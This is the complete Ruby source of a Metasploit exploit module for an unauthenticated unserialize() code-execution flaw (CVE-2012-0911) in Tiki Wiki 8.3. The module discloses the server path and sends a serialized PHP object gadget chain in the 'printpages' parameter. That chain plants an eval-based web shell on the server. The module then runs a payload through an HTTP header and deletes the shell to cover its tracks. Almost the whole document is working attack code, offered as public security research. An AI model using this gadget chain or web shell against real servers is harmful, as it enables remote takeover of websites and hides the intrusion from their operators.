Tiki Wiki CMS Groupware 8.3 – ‘Unserialize()’ PHP Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3 which could be abused to allow unauthenticated users to execute arbitrary code under the context of the webserver user. The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script, which is called with user controlled data from the 'printpages' parameter. The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy class to write arbitrary PHP code to a file on the Tiki Wiki web directory. In order to run successfully three conditions must be satisfied (1) display_errors php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php version older than 5.3.4 must be used to allow poison null bytes in filesystem related functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3. }, 'Author' => [ 'EgiX', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2012-0911' ], [ 'BID', '54298' ], [ 'EDB', '19573' ], [ 'URL', 'http://dev.tiki.org/item4109' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 04 2012' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"]) ], self.class) end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin client.fs.file.rm(@upload_php) print_good("#{@peer} - #{@upload_php} removed to stay ninja") rescue print_error("#{@peer} - Unable to remove #{f}") end end end def exploit base = target_uri.path base << '/' if base[-1, 1] != '/' @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem") res = send_request_cgi( 'uri' => "#{base}tiki-rss_error.php" ) if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/ print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On." return else tiki_path = $1 print_good "#{@peer} - Tiki Wiki path disclosure: #{tiki_path}" end php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>" printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:" printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:" printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:" printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}" printpages << "s:10:\"%00*%00_fields\";a:1:" printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:" printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}" printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}" print_status("#{@peer} - Exploiting the unserialize() to upload PHP code") res = send_request_cgi( { 'uri' => "#{base}tiki-print_multi_pages.php", 'method' => 'POST', 'vars_post' => { 'printpages' => printpages } }) if not res or res.code != 200 print_error("#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.") return end print_status("#{@peer} - Executing the payload #{@upload_php}") res = send_request_cgi( { 'method' => 'GET', 'uri' => "#{base + @upload_php}", 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } }) if res print_error("#{@peer} - Payload execution failed: #{res.code}") return end end end |